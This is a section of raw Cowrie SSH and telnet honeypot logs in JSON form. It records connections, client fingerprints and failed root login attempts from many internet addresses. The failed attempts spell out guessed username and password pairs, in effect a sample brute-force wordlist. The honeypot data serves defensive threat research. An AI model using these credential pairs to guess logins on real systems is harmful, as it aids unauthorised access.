{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:31:11.331250Z","src_ip":"46.19.67.181","session":"39609ad99755","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty1488","message":"login attempt [root/qwerty1488] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:31:11.687225Z","src_ip":"46.19.67.181","session":"39609ad99755","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:31:12.806648Z","src_ip":"46.19.67.181","session":"39609ad99755","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.0.90.191","src_port":51988,"dst_ip":"10.17.0.5","dst_port":23,"session":"76d28b53aca3","protocol":"telnet","message":"New connection: 167.0.90.191:51988 (10.17.0.5:23) [session: 76d28b53aca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:31:16.541169Z"}
{"eventid":"cowrie.session.closed","duration":33.307408809661865,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:31:20.652403Z","src_ip":"69.4.83.194","session":"581bfd4535be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":53310,"dst_ip":"10.17.0.5","dst_port":22,"session":"98f4b5e38d6c","protocol":"ssh","message":"New connection: 87.251.79.125:53310 (10.17.0.5:22) [session: 98f4b5e38d6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:31:24.093930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:31:24.116672Z","src_ip":"87.251.79.125","session":"98f4b5e38d6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:31:24.235416Z","src_ip":"87.251.79.125","session":"98f4b5e38d6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ptybnxtvgbjy","message":"login attempt [root/ptybnxtvgbjy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:31:24.498940Z","src_ip":"87.251.79.125","session":"98f4b5e38d6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:31:25.574105Z","src_ip":"87.251.79.125","session":"98f4b5e38d6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":49158,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6a4afdbe154","protocol":"ssh","message":"New connection: 77.94.47.83:49158 (10.17.0.5:22) [session: e6a4afdbe154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:31:34.498899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:31:34.507251Z","src_ip":"77.94.47.83","session":"e6a4afdbe154","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:31:34.620683Z","src_ip":"77.94.47.83","session":"e6a4afdbe154","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"333111","message":"login attempt [root/333111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:31:34.960522Z","src_ip":"77.94.47.83","session":"e6a4afdbe154","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:31:36.075805Z","src_ip":"77.94.47.83","session":"e6a4afdbe154","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.97.62.150","src_port":51272,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ef8b5358acd","protocol":"ssh","message":"New connection: 23.97.62.150:51272 (159.203.135.109:22) [session: 2ef8b5358acd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:31:37.132002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:31:37.136611Z","src_ip":"23.97.62.150","session":"2ef8b5358acd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:31:37.369097Z","src_ip":"23.97.62.150","session":"2ef8b5358acd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu12345","message":"login attempt [root/ubuntu12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:31:38.067405Z","src_ip":"23.97.62.150","session":"2ef8b5358acd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:31:39.303510Z","src_ip":"23.97.62.150","session":"2ef8b5358acd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":52020,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b9676cc7da4","protocol":"ssh","message":"New connection: 103.15.222.183:52020 (159.203.135.109:22) [session: 8b9676cc7da4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:31:43.600017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:31:43.607480Z","src_ip":"103.15.222.183","session":"8b9676cc7da4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:31:43.849134Z","src_ip":"103.15.222.183","session":"8b9676cc7da4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"samsu","message":"login attempt [root/samsu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:31:44.577806Z","src_ip":"103.15.222.183","session":"8b9676cc7da4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:31:45.822488Z","src_ip":"103.15.222.183","session":"8b9676cc7da4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":44350,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a3ae7473511","protocol":"telnet","message":"New connection: 69.4.83.194:44350 (159.203.135.109:23) [session: 6a3ae7473511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:31:54.731530Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":49544,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b5504dc45c1","protocol":"ssh","message":"New connection: 103.77.175.15:49544 (159.203.135.109:22) [session: 4b5504dc45c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:31:58.056110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:31:58.061453Z","src_ip":"103.77.175.15","session":"4b5504dc45c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:31:58.313757Z","src_ip":"103.77.175.15","session":"4b5504dc45c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23021989","message":"login attempt [root/23021989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:31:59.067044Z","src_ip":"103.77.175.15","session":"4b5504dc45c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:32:00.321601Z","src_ip":"103.77.175.15","session":"4b5504dc45c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.301138877868652,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:32:26.032573Z","src_ip":"69.4.83.194","session":"6a3ae7473511","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.02192378044128,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:33:16.562948Z","src_ip":"167.0.90.191","session":"76d28b53aca3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.0.90.191","src_port":52556,"dst_ip":"10.17.0.5","dst_port":23,"session":"daef0a48206b","protocol":"telnet","message":"New connection: 167.0.90.191:52556 (10.17.0.5:23) [session: daef0a48206b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:33:38.395763Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.0.90.191","src_port":52888,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b79decbf36c","protocol":"telnet","message":"New connection: 167.0.90.191:52888 (10.17.0.5:23) [session: 3b79decbf36c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:33:40.961859Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.0.90.191","src_port":52856,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc655b7f1af6","protocol":"telnet","message":"New connection: 167.0.90.191:52856 (10.17.0.5:23) [session: bc655b7f1af6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:33:41.236113Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":59674,"dst_ip":"159.203.135.109","dst_port":23,"session":"417b1cd9533e","protocol":"telnet","message":"New connection: 69.4.83.194:59674 (159.203.135.109:23) [session: 417b1cd9533e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:33:52.353227Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.6.35.235","src_port":45542,"dst_ip":"159.203.135.109","dst_port":22,"session":"a18c98b194ae","protocol":"ssh","message":"New connection: 20.6.35.235:45542 (159.203.135.109:22) [session: a18c98b194ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:34:18.465628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:34:18.609084Z","src_ip":"20.6.35.235","session":"a18c98b194ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:34:19.868039Z","src_ip":"20.6.35.235","session":"a18c98b194ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.237.125.162","src_port":44719,"dst_ip":"159.203.135.109","dst_port":23,"session":"e44037a73f2c","protocol":"telnet","message":"New connection: 5.237.125.162:44719 (159.203.135.109:23) [session: e44037a73f2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:34:23.643388Z"}
{"eventid":"cowrie.session.closed","duration":34.48812222480774,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:34:26.841228Z","src_ip":"69.4.83.194","session":"417b1cd9533e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"michele","password":"michele","message":"login attempt [michele/michele] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:34:29.689531Z","src_ip":"20.6.35.235","session":"a18c98b194ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":54198,"dst_ip":"159.203.135.109","dst_port":23,"session":"18bca6b9e5d2","protocol":"telnet","message":"New connection: 79.139.59.21:54198 (159.203.135.109:23) [session: 18bca6b9e5d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:34:32.325117Z"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:34:33.576401Z","src_ip":"20.6.35.235","session":"a18c98b194ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.511274337768555,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:34:37.154527Z","src_ip":"5.237.125.162","session":"e44037a73f2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":62386,"dst_ip":"10.17.0.5","dst_port":22,"session":"61149ec05352","protocol":"ssh","message":"New connection: 38.93.206.2:62386 (10.17.0.5:22) [session: 61149ec05352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:34:41.857618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:34:41.862570Z","src_ip":"38.93.206.2","session":"61149ec05352","protocol":"ssh"}
